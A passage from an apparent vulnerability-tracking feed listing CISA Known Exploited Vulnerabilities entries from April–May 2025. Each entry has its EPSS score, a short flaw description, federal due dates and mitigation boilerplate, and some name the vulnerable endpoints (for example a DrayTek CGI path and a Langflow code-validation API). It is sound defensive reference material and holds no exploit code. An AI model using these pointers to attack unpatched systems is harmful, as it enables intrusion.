https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-4427&date=2026-10-25 CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 19, 2025; federal due date Jun 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SAP NetWeaver Deserialization Vulnerability https://kevwire.com/record/CVE-2025-42999 SAP NetWeaver Deserialization Vulnerability (May 15, 2025). SAP NetWeaver Visual Composer Metadata Uploader contains a deserialization vulnerability that allows a privileged attacker to compromise the confidentiality, integrity, and availability of the host system by deserializing untrusted or malicious content. EPSS 12.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-42999&date=2026-10-25). Sources: CISA KEV entry CVE-2025-42999: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-42999&date=2026-10-25 CISA added this entry on 2025-05-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 15, 2025; federal due date Jun 5, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### DrayTek Vigor Routers OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-12987 DrayTek Vigor Routers OS Command Injection Vulnerability (May 15, 2025). DrayTek Vigor2960, Vigor300B, and Vigor3900 routers contain an OS command injection vulnerability due to an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component web management interface. EPSS 98.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-12987&date=2026-10-25). Sources: CISA KEV entry CVE-2024-12987: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-12987&date=2026-10-25 CISA added this entry on 2025-05-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 15, 2025; federal due date Jun 5, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet Multiple Products Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-32756 Fortinet Multiple Products Stack-Based Buffer Overflow Vulnerability (May 14, 2025). Fortinet FortiFone, FortiVoice, FortiNDR and FortiMail contain a stack-based overflow vulnerability that may allow a remote unauthenticated attacker to execute arbitrary code or commands via crafted HTTP requests. EPSS 30.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32756&date=2026-10-25). Sources: CISA KEV entry CVE-2025-32756: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32756&date=2026-10-25 CISA added this entry on 2025-05-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 14, 2025; federal due date Jun 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability https://kevwire.com/record/CVE-2025-32709 Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability (May 13, 2025). Microsoft Windows Ancillary Function Driver for WinSock contains a use-after-free vulnerability that allows an authorized attacker to escalate privileges to administrator. EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32709&date=2026-10-25). Sources: CISA KEV entry CVE-2025-32709: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32709&date=2026-10-25 CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 13, 2025; federal due date Jun 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Scripting Engine Type Confusion Vulnerability https://kevwire.com/record/CVE-2025-30397 Microsoft Windows Scripting Engine Type Confusion Vulnerability (May 13, 2025). Microsoft Windows Scripting Engine contains a type confusion vulnerability that allows an unauthorized attacker to execute code over a network via a specially crafted URL. EPSS 27.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30397&date=2026-10-25). Sources: CISA KEV entry CVE-2025-30397: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30397&date=2026-10-25 CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 13, 2025; federal due date Jun 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-32706 Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability (May 13, 2025). Microsoft Windows Common Log File System (CLFS) Driver contains a heap-based buffer overflow vulnerability that allows an authorized attacker to elevate privileges locally. EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32706&date=2026-10-25). Sources: CISA KEV entry CVE-2025-32706: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32706&date=2026-10-25 CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 13, 2025; federal due date Jun 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Common Log File System (CLFS) Driver Use-After-Free Vulnerability https://kevwire.com/record/CVE-2025-32701 Microsoft Windows Common Log File System (CLFS) Driver Use-After-Free Vulnerability (May 13, 2025). Microsoft Windows Common Log File System (CLFS) Driver contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally. EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32701&date=2026-10-25). Sources: CISA KEV entry CVE-2025-32701: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32701&date=2026-10-25 CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 13, 2025; federal due date Jun 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows DWM Core Library Use-After-Free Vulnerability https://kevwire.com/record/CVE-2025-30400 Microsoft Windows DWM Core Library Use-After-Free Vulnerability (May 13, 2025). Microsoft Windows DWM Core Library contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally. EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30400&date=2026-10-25). Sources: CISA KEV entry CVE-2025-30400: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30400&date=2026-10-25 CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 13, 2025; federal due date Jun 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TeleMessage TM SGNL Hidden Functionality Vulnerability https://kevwire.com/record/CVE-2025-47729 TeleMessage TM SGNL Hidden Functionality Vulnerability (May 12, 2025). TeleMessage TM SGNL contains a hidden functionality vulnerability in which the archiving backend holds cleartext copies of messages from TM SGNL application users. EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-47729&date=2026-10-25). Sources: CISA KEV entry CVE-2025-47729: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-47729&date=2026-10-25 CISA added this entry on 2025-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 12, 2025; federal due date Jun 2, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GeoVision Devices OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-11120 GeoVision Devices OS Command Injection Vulnerability (May 7, 2025). Multiple GeoVision devices contain an OS command injection vulnerability that allows a remote, unauthenticated attacker to inject and execute arbitrary system commands. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 28.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-11120&date=2026-10-25). Sources: CISA KEV entry CVE-2024-11120: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-11120&date=2026-10-25 CISA added this entry on 2025-05-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 7, 2025; federal due date May 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GeoVision Devices OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-6047 GeoVision Devices OS Command Injection Vulnerability (May 7, 2025). Multiple GeoVision devices contain an OS command injection vulnerability that allows a remote, unauthenticated attacker to inject and execute arbitrary system commands. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 10.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-6047&date=2026-10-25). Sources: CISA KEV entry CVE-2024-6047: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-6047&date=2026-10-25 CISA added this entry on 2025-05-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 7, 2025; federal due date May 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### FreeType Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2025-27363 FreeType Out-of-Bounds Write Vulnerability (May 6, 2025). FreeType contains an out-of-bounds write vulnerability when attempting to parse font subglyph structures related to TrueType GX and variable font files that may allow for arbitrary code execution. EPSS 27.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-27363&date=2026-10-25). Sources: CISA KEV entry CVE-2025-27363: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-27363&date=2026-10-25 CISA added this entry on 2025-05-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 6, 2025; federal due date May 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Langflow Missing Authentication Vulnerability https://kevwire.com/record/CVE-2025-3248 Langflow Missing Authentication Vulnerability (May 5, 2025). Langflow contains a missing authentication vulnerability in the /api/v1/validate/code endpoint that allows a remote, unauthenticated attacker to execute arbitrary code via crafted HTTP requests. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-3248&date=2026-10-25). Sources: CISA KEV entry CVE-2025-3248: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-3248&date=2026-10-25 CISA added this entry on 2025-05-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 5, 2025; federal due date May 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Commvault Command Center Path Traversal Vulnerability https://kevwire.com/record/CVE-2025-34028 Commvault Command Center Path Traversal Vulnerability (May 2, 2025). Commvault Command Center contains a path traversal vulnerability that allows a remote, unauthenticated attacker to execute arbitrary code. EPSS 97.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-34028&date=2026-10-25). Sources: CISA KEV entry CVE-2025-34028: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-34028&date=2026-10-25 CISA added this entry on 2025-05-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 2, 2025; federal due date May 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Yiiframework Yii Improper Protection of Alternate Path Vulnerability https://kevwire.com/record/CVE-2024-58136 Yiiframework Yii Improper Protection of Alternate Path Vulnerability (May 2, 2025). Yii Framework contains an improper protection of alternate path vulnerability that may allow a remote attacker to execute arbitrary code. This vulnerability could affect other products that implement Yii, including—but not limited to—Craft CMS, as represented by CVE-2025-32432. EPSS 87.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-58136&date=2026-10-25). Sources: CISA KEV entry CVE-2024-58136: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-58136&date=2026-10-25 CISA added this entry on 2025-05-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 2, 2025; federal due date May 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache HTTP Server Improper Escaping of Output Vulnerability https://kevwire.com/record/CVE-2024-38475 Apache HTTP Server Improper Escaping of Output Vulnerability (May 1, 2025). Apache HTTP Server contains an improper escaping of output vulnerability in mod_rewrite that allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38475&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38475: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38475&date=2026-10-25 CISA added this entry on 2025-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 1, 2025; federal due date May 22, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SMA100 Appliances OS Command Injection Vulnerability https://kevwire.com/record/CVE-2023-44221 SonicWall SMA100 Appliances OS Command Injection Vulnerability (May 1, 2025). SonicWall SMA100 appliances contain an OS command injection vulnerability in the SSL-VPN management interface that allows a remote, authenticated attacker with administrative privilege to inject arbitrary commands as a 'nobody' user. EPSS 76.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-44221&date=2026-10-25). Sources: CISA KEV entry CVE-2023-44221: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-44221&date=2026-10-25 CISA added this entry on 2025-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 1, 2025; federal due date May 22, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Broadcom Brocade Fabric OS Code Injection Vulnerability https://kevwire.com/record/CVE-2025-1976 Broadcom Brocade Fabric OS Code Injection Vulnerability (Apr 28, 2025). Broadcom Brocade Fabric OS contains a code injection vulnerability that allows a local user with administrative privileges to execute arbitrary code with full root privileges. EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-1976&date=2026-10-25). Sources: CISA KEV entry CVE-2025-1976: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-1976&date=2026-10-25 CISA added this entry on 2025-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 28, 2025; federal due date May 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qualitia Active! Mail Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-42599 Qualitia Active! Mail Stack-Based Buffer Overflow Vulnerability (Apr 28, 2025). Qualitia Active! Mail contains a stack-based buffer overflow vulnerability that allows a remote, unauthenticated attacker to execute arbitrary or trigger a denial-of-service via a specially crafted request. EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-42599&date=2026-10-25). Sources: CISA KEV entry CVE-2025-42599: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-42599&date=2026-10-25 CISA added this entry on 2025-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 28, 2025; federal due date May 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Commvault Web Server Unspecified Vulnerability https://kevwire.com/record/CVE-2025-3928 Commvault Web Server Unspecified Vulnerability (Apr 28, 2025). Commvault Web Server contains an unspecified vulnerability that allows a remote, authenticated attacker to create and execute webshells. EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-3928&date=2026-10-25). Sources: CISA KEV entry CVE-2025-3928: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-3928&date=2026-10-25 CISA added this entry on 2025-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 28, 2025; federal due date May 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows NTLM Hash Disclosure Spoofing Vulnerability https://kevwire.com/record/CVE-2025-24054 Microsoft Windows NTLM Hash Disclosure Spoofing Vulnerability (Apr 17, 2025). Microsoft Windows NTLM contains an external control of file name or path vulnerability that allows an unauthorized attacker to perform spoofing over a network. EPSS 62.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24054&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24054: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24054&date=2026-10-25 CISA added this entry on 2025-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 17, 2025; federal due date May 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Arbitrary Read and Write Vulnerability https://kevwire.com/record/CVE-2025-31201 Apple Multiple Products Arbitrary Read and Write Vulnerability (Apr 17, 2025). Apple iOS, iPadOS, macOS, and other Apple products contain an arbitrary read and write vulnerability that allows an attacker to bypass Pointer Authentication. EPSS 13.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31201&date=2026-10-25). Sources: CISA KEV entry CVE-2025-31201: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31201&date=2026-10-25 CISA added this entry on 2025-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 17, 2025; federal due date May 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Memory Corruption Vulnerability https://kevwire.com/record/CVE-2025-31200 Apple Multiple Products Memory Corruption Vulnerability (Apr 17, 2025). Apple iOS, iPadOS, macOS, and other Apple products contain a memory corruption vulnerability that allows for code execution when processing an audio stream in a maliciously crafted media file. EPSS 20.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31200&date=2026-10-25). Sources: CISA KEV entry CVE-2025-31200: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31200&date=2026-10-25 CISA added this entry on 2025-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 17, 2025; federal due date May 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SMA100 Appliances OS Command Injection Vulnerability https://kevwire.com/record/CVE-2021-20035 SonicWall SMA100 Appliances OS Command Injection Vulnerability (Apr 16, 2025). SonicWall SMA100 appliances contain an OS command injection vulnerability in the management interface that allows a remote authenticated attacker to inject arbitrary commands as a 'nobody' user, which could potentially lead to code execution. EPSS 4.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20035&date=2026-10-25). Sources: CISA KEV entry CVE-2021-20035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20035&date=2026-10-25 CISA added this entry on 2025-04-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 16, 2025; federal due date May 7, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Out-of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2024-53150 Linux Kernel Out-of-Bounds Read Vulnerability (Apr 9, 2025). Linux Kernel contains an out-of-bounds read vulnerability in the USB-audio driver that allows a local, privileged attacker to obtain potentially sensitive information. 